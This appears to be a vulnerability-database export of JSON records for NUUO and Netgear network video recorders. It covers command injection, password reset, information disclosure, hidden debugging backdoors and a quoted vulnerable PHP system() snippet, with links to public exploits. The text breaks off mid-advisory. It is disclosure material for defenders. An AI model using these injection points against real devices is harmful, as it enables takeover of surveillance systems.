"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "138199",
"trust": 0.1
}
],
"sources": [
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "CNVD",
"id": "CNVD-2016-06369"
},
{
"db": "VULHUB",
"id": "VHN-94496"
},
{
"db": "VULMON",
"id": "CVE-2016-5677"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004491"
},
{
"db": "PACKETSTORM",
"id": "138199"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-267"
},
{
"db": "NVD",
"id": "CVE-2016-5677"
}
]
},
"id": "VAR-201608-0090",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2016-06369"
},
{
"db": "VULHUB",
"id": "VHN-94496"
}
],
"trust": 1.528304092
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2016-06369"
}
]
},
"last_update_date": "2024-11-23T21:42:52.892000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "ReadyNAS Surveillance",
"trust": 0.8,
"url": "https://www.netgear.com/business/products/storage/readynas/readynas-surveillance.aspx"
},
{
"title": "NUUO NVRsolo",
"trust": 0.8,
"url": "http://www.nuuo.com/ProductNode.php?stid=0002\u0026node=13"
},
{
"title": "NUUO NVRmini 2",
"trust": 0.8,
"url": "http://www.nuuo.com/ProductNode.php?node=2"
},
{
"title": "Patches for multiple NUUO and NetGear product information disclosure vulnerabilities",
"trust": 0.6,
"url": "https://www.cnvd.org.cn/patchInfo/show/80483"
},
{
"title": "The Register",
"trust": 0.2,
"url": "https://www.theregister.co.uk/2016/08/07/nuuo_netgear_surveillance_recorders_riddled_with_0days/"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2016-06369"
},
{
"db": "VULMON",
"id": "CVE-2016-5677"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004491"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-200",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-94496"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004491"
},
{
"db": "NVD",
"id": "CVE-2016-5677"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 3.1,
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"trust": 2.4,
"url": "http://www.securityfocus.com/bid/92318"
},
{
"trust": 1.6,
"url": "https://raw.githubusercontent.com/pedrib/poc/master/advisories/nuuo-nvr-vulns.txt"
},
{
"trust": 1.3,
"url": "https://www.exploit-db.com/exploits/40200/"
},
{
"trust": 0.9,
"url": "https://cwe.mitre.org/data/definitions/200.html"
},
{
"trust": 0.8,
"url": "http://www.nuuo.com/productnode.php?stid=0001\u0026node=2"
},
{
"trust": 0.8,
"url": "http://www.nuuo.com/productnode.php?stid=0002\u0026node=13"
},
{
"trust": 0.8,
"url": "http://www.nuuo.com/productnode.php?stid=0001\u0026node=14"
},
{
"trust": 0.8,
"url": "https://www.netgear.com/business/products/storage/readynas/readynas-surveillance.aspx"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/20.html"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/285.html"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/798.html"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/78.html"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/121.html"
},
{
"trust": 0.8,
"url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2016-5677"
},
{
"trust": 0.8,
"url": "http://jvn.jp/vu/jvnvu97220922/index.html"
},
{
"trust": 0.8,
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2016-5677"
},
{
"trust": 0.3,
"url": "http://www.netgear.com"
},
{
"trust": 0.3,
"url": "http://www.nuuo.com/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://www.theregister.co.uk/2016/08/07/nuuo_netgear_surveillance_recorders_riddled_with_0days/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5674"
},
{
"trust": 0.1,
"url": "https://www.cert.org/)"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5678"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5680"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5677"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5679"
},
{
"trust": 0.1,
"url": "http://www.agileinfosec.co.uk/)"
},
{
"trust": 0.1,
"url": "http://www.agileinfosec.co.uk/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5676"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5675"
}
],
"sources": [
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "CNVD",
"id": "CNVD-2016-06369"
},
{
"db": "VULHUB",
"id": "VHN-94496"
},
{
"db": "VULMON",
"id": "CVE-2016-5677"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004491"
},
{
"db": "PACKETSTORM",
"id": "138199"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-267"
},
{
"db": "NVD",
"id": "CVE-2016-5677"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "CNVD",
"id": "CNVD-2016-06369"
},
{
"db": "VULHUB",
"id": "VHN-94496"
},
{
"db": "VULMON",
"id": "CVE-2016-5677"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004491"
},
{
"db": "PACKETSTORM",
"id": "138199"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-267"
},
{
"db": "NVD",
"id": "CVE-2016-5677"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2016-08-04T00:00:00",
"db": "CERT/CC",
"id": "VU#856152"
},
{
"date": "2016-08-16T00:00:00",
"db": "CNVD",
"id": "CNVD-2016-06369"
},
{
"date": "2016-08-31T00:00:00",
"db": "VULHUB",
"id": "VHN-94496"
},
{
"date": "2016-08-31T00:00:00",
"db": "VULMON",
"id": "CVE-2016-5677"
},
{
"date": "2016-08-04T00:00:00",
"db": "BID",
"id": "92318"
},
{
"date": "2016-09-01T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2016-004491"
},
{
"date": "2016-08-04T22:22:21",
"db": "PACKETSTORM",
"id": "138199"
},
{
"date": "2016-08-12T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201608-267"
},
{
"date": "2016-08-31T15:59:03.640000",
"db": "NVD",
"id": "CVE-2016-5677"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2016-08-05T00:00:00",
"db": "CERT/CC",
"id": "VU#856152"
},
{
"date": "2016-08-16T00:00:00",
"db": "CNVD",
"id": "CNVD-2016-06369"
},
{
"date": "2017-09-03T00:00:00",
"db": "VULHUB",
"id": "VHN-94496"
},
{
"date": "2017-09-03T00:00:00",
"db": "VULMON",
"id": "CVE-2016-5677"
},
{
"date": "2016-08-04T00:00:00",
"db": "BID",
"id": "92318"
},
{
"date": "2016-09-01T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2016-004491"
},
{
"date": "2016-09-01T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201608-267"
},
{
"date": "2024-11-21T02:54:48.430000",
"db": "NVD",
"id": "CVE-2016-5677"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "PACKETSTORM",
"id": "138199"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-267"
}
],
"trust": 0.7
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "NUUO and Netgear Network Video Recorder (NVR) products web interfaces contain multiple vulnerabilities",
"sources": [
{
"db": "CERT/CC",
"id": "VU#856152"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "information disclosure",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201608-267"
}
],
"trust": 0.6
}
}
var-201808-0424
Vulnerability from variot
upgrade_handle.php on NUUO NVRmini devices allows Remote Command Execution via shell metacharacters in the uploaddir parameter for a writeuploaddir command. NUUO NVRmini Contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. NUUO NVRmini Products are prone to an remote command-injection vulnerability. An attacker may exploit this issue to inject and execute arbitrary commands within the context of the affected application; this may aid in further attacks. NUUO NVRmini is a video storage management device produced by American NUUO company. There is a security vulnerability in the upgrade_handle.php file in NUUO NVRmini
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201808-0424",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "nvrmini",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "2016"
},
{
"model": "nvrmini 2",
"scope": null,
"trust": 0.8,
"vendor": "nuuo",
"version": null
},
{
"model": "nvrsolo plus",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "0"
},
{
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "20"
},
{
"model": "nvrsolo plus",
"scope": "ne",
"trust": 0.3,
"vendor": "nuuo",
"version": "3.10"
},
{
"model": "nvrsolo",
"scope": "ne",
"trust": 0.3,
"vendor": "nuuo",
"version": "3.10"
},
{
"model": "nvrmini",
"scope": "ne",
"trust": 0.3,
"vendor": "nuuo",
"version": "23.10"
}
],
"sources": [
{
"db": "BID",
"id": "106058"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-008594"
},
{
"db": "CNNVD",
"id": "CNNVD-201808-110"
},
{
"db": "NVD",
"id": "CVE-2018-14933"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:nuuo:nvrmini_2",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-008594"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Tenable",
"sources": [
{
"db": "BID",
"id": "106058"
}
],
"trust": 0.3
},
"cve": "CVE-2018-14933",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "CVE-2018-14933",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 1.9,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "VHN-125142",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:C/I:C/A:C",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 3.9,
"id": "CVE-2018-14933",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.8,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2018-14933",
"trust": 1.0,
"value": "CRITICAL"
},
{
"author": "NVD",
"id": "CVE-2018-14933",
"trust": 0.8,
"value": "Critical"
},
{
"author": "CNNVD",
"id": "CNNVD-201808-110",
"trust": 0.6,
"value": "CRITICAL"
},
{
"author": "VULHUB",
"id": "VHN-125142",
"trust": 0.1,
"value": "HIGH"
},
{
"author": "VULMON",
"id": "CVE-2018-14933",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-125142"
},
{
"db": "VULMON",
"id": "CVE-2018-14933"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-008594"
},
{
"db": "CNNVD",
"id": "CNNVD-201808-110"
},
{
"db": "NVD",
"id": "CVE-2018-14933"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "upgrade_handle.php on NUUO NVRmini devices allows Remote Command Execution via shell metacharacters in the uploaddir parameter for a writeuploaddir command. NUUO NVRmini Contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. NUUO NVRmini Products are prone to an remote command-injection vulnerability. \nAn attacker may exploit this issue to inject and execute arbitrary commands within the context of the affected application; this may aid in further attacks. NUUO NVRmini is a video storage management device produced by American NUUO company. There is a security vulnerability in the upgrade_handle.php file in NUUO NVRmini",
"sources": [
{
"db": "NVD",
"id": "CVE-2018-14933"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-008594"
},
{
"db": "BID",
"id": "106058"
},
{
"db": "VULHUB",
"id": "VHN-125142"
},
{
"db": "VULMON",
"id": "CVE-2018-14933"
}
],
"trust": 2.07
},
"exploit_availability": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"reference": "https://www.scap.org.cn/vuln/vhn-125142",
"trust": 0.1,
"type": "unknown"
},
{
"reference": "https://vulmon.com/exploitdetails?qidtp=exploitdb\u0026qid=46340",
"trust": 0.1,
"type": "exploit"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-125142"
},
{
"db": "VULMON",
"id": "CVE-2018-14933"
}
]
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2018-14933",
"trust": 2.9
},
{
"db": "EXPLOIT-DB",
"id": "45070",
"trust": 2.9
},
{
"db": "EXPLOIT-DB",
"id": "46340",
"trust": 1.8
},
{
"db": "JVNDB",
"id": "JVNDB-2018-008594",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201808-110",
"trust": 0.7
},
{
"db": "BID",
"id": "106058",
"trust": 0.3
},
{
"db": "PACKETSTORM",
"id": "151573",
"trust": 0.1
},
{
"db": "VULHUB",
"id": "VHN-125142",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2018-14933",
"trust": 0.1
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-125142"
},
{
"db": "VULMON",
"id": "CVE-2018-14933"
},
{
"db": "BID",
"id": "106058"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-008594"
},
{
"db": "CNNVD",
"id": "CNNVD-201808-110"
},
{
"db": "NVD",
"id": "CVE-2018-14933"
}
]
},
"id": "VAR-201808-0424",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "VULHUB",
"id": "VHN-125142"
}
],
"trust": 0.6888889
},
"last_update_date": "2024-11-23T22:26:15.198000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Top Page",
"trust": 0.8,
"url": "https://www.nuuo.com/"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-008594"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-78",
"trust": 1.1
},
{
"problemtype": "CWE-77",
"trust": 0.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-125142"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-008594"
},
{
"db": "NVD",
"id": "CVE-2018-14933"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.6,
"url": "https://www.exploit-db.com/exploits/45070/"
},
{
"trust": 1.8,
"url": "https://www.exploit-db.com/exploits/46340/"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-14933"
},
{
"trust": 0.8,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-14933"
},
{
"trust": 0.3,
"url": "https://www.exploit-db.com/exploits/45070"
},
{
"trust": 0.3,
"url": "https://www.nuuo.com"
},
{
"trust": 0.3,
"url": "https://github.com/tenable/poc/tree/master/nuuo/nvrmini2/cve_2018_1149"
},
{
"trust": 0.3,
"url": "https://www.nuuo.com/newsdetail.php?id=0425"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/78.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://www.exploit-db.com/exploits/46340"
},
{
"trust": 0.1,
"url": "https://www.rapid7.com/db/modules/exploit/multi/http/nuuo_nvrmini_upgrade_rce"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-125142"
},
{
"db": "VULMON",
"id": "CVE-2018-14933"
},
{
"db": "BID",
"id": "106058"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-008594"
},
{
"db": "CNNVD",
"id": "CNNVD-201808-110"
},
{
"db": "NVD",
"id": "CVE-2018-14933"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "VULHUB",
"id": "VHN-125142"
},
{
"db": "VULMON",
"id": "CVE-2018-14933"
},
{
"db": "BID",
"id": "106058"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-008594"
},
{
"db": "CNNVD",
"id": "CNNVD-201808-110"
},
{
"db": "NVD",
"id": "CVE-2018-14933"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2018-08-04T00:00:00",
"db": "VULHUB",
"id": "VHN-125142"
},
{
"date": "2018-08-04T00:00:00",
"db": "VULMON",
"id": "CVE-2018-14933"
},
{
"date": "2018-09-19T00:00:00",
"db": "BID",
"id": "106058"
},
{
"date": "2018-10-24T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-008594"
},
{
"date": "2018-08-06T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201808-110"
},
{
"date": "2018-08-04T19:29:00.263000",
"db": "NVD",
"id": "CVE-2018-14933"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-10-03T00:00:00",
"db": "VULHUB",
"id": "VHN-125142"
},
{
"date": "2019-10-03T00:00:00",
"db": "VULMON",
"id": "CVE-2018-14933"
},
{
"date": "2018-09-19T00:00:00",
"db": "BID",
"id": "106058"
},
{
"date": "2018-10-24T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-008594"
},
{
"date": "2019-10-08T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201808-110"
},
{
"date": "2024-11-21T03:50:06.800000",
"db": "NVD",
"id": "CVE-2018-14933"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201808-110"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "NUUO NVRmini Command injection vulnerability",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-008594"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "operating system commend injection",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201808-110"
}
],
"trust": 0.6
}
}
var-201608-0089
Vulnerability from variot
cgi-bin/cgi_system in NUUO NVRmini 2 1.7.5 through 2.x, NUUO NVRsolo 1.7.5 through 2.x, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 allows remote attackers to reset the administrator password via a cmd=loaddefconfig action. NUUO NVRmini 2, NVRsolo, Crystal, and Netgear ReadyNAS Surveillance products have web management interfaces containing multiple vulnerabilities that can be leveraged to gain complete control of affected devices. Supplementary information : CWE Vulnerability type by CWE-285: Improper Authorization ( Inappropriate authentication ) Has been identified. NUUONVRmini2 is a network video recorder from NUUO. NetGearReadyNASSurveillance is a comprehensive IP video surveillance solution that integrates video surveillance software, storage, switching and network management with NetGear. NUUO and Netgear Network Multiple Products are prone to multiple security vulnerabilities. Attackers can exploit these issues to execute arbitrary code, execute remote command and retrieve sensitive information; other attacks may also be possible. Setup is simple and easy, with automatic port forwarding settings built in. NVRmini 2 supports POS integration, making this the perfect solution for small retail chain stores. NVRmini 2 also comes full equipped as a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping and RAID functions for data protection. Choose NVR and know that your valuable video data is safe, always." "NVRsolo is NUUOas answer to hassle free, lightweight NVR system. It is small in size yet able to handle heavy duty tasks. With local HDMI/VGA display and keyboard/mouse input built right into the unit, configuring NVRsolo is easy and simple. Built on solid Linux foundation, we sacrificed nothing except unnecessary bulk to make NVRsolo the award winning standalone NVR solution you have been looking for. NVRsolo's flexibility doesn't end there. For those needing more storage options, we offer 8 bay versions to meet your needs." "NUUO CrystalaC/ is the product that represents the next stage in VMS evolution. Rock solid, easily manageable, with powerful recording and viewing options available. Featuring revolutionary modular system structure that is made to handle large project size, NUUO CrystalaC/ is the ideal choice for your enterprise. Small businesses and corporate branch offices require a secure way to protect physical assets, but may lack deep security expertise or a big budget. A user-friendly NVR system should combine fast and flexible configuration with easy operation. With a few simple steps for installation, the web-based management leads users to configure, monitor and playback video everywhere. UPnP search, auto camera detection and GUI schedule save setting-up time, while the easy drag and drop camera, auto scan, preset point patrolling, and multiple views offer users a prime monitoring experience."
Summary: NUUO is a vendor of Network Video Recording (NVR) systems for surveillance cameras. These NVR are Linux embedded video recording systems that can manage a number of cameras and are used worldwide by public institutions, banks, SME's, etc.
The web interface contains a number of critical vulnerabilities that can be abused by unauthenticated attackers. These consist of monitoring backdoors left in the PHP files that are supposed to be used by NUUO's engineers, hardcoded credentials, poorly sanitised input and a buffer overflow which can be abused to achieve code execution on NUUO's devices as root, and on NETGEAR as the admin user.
Although only the NVRmini 2, NVRsolo, Crystal and ReadyNAS Surveillance devices are known to be affected, it is likely that the same code is used in other NUUO devices or even other third party devices (the firmware is littered with references to other devices like NUUO Titan). However this has not been confirmed as it was not possible to access all NUUO and third party devices that might be using the same code.
A special thanks to CERT/CC (https://www.cert.org/) for assistance with disclosing the vulnerabilities to the vendors [1]. Metasploit exploits for #1, #2 and #3 have been released.
Technical details:
1
Vulnerability: Improper Input Validation (leading to remote code execution) CVE-2016-5674 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected
The web inteface contains a hidden file named __debugging_center_utils___.php that improperly sanitises input to the log parameter, which is passed to the PHP system() call (snippet below):
function print_file($file_fullpath_name) { $cmd = "cat " . $file_fullpath_name; echo $file_fullpath_name . "\n\n"; system($cmd); }
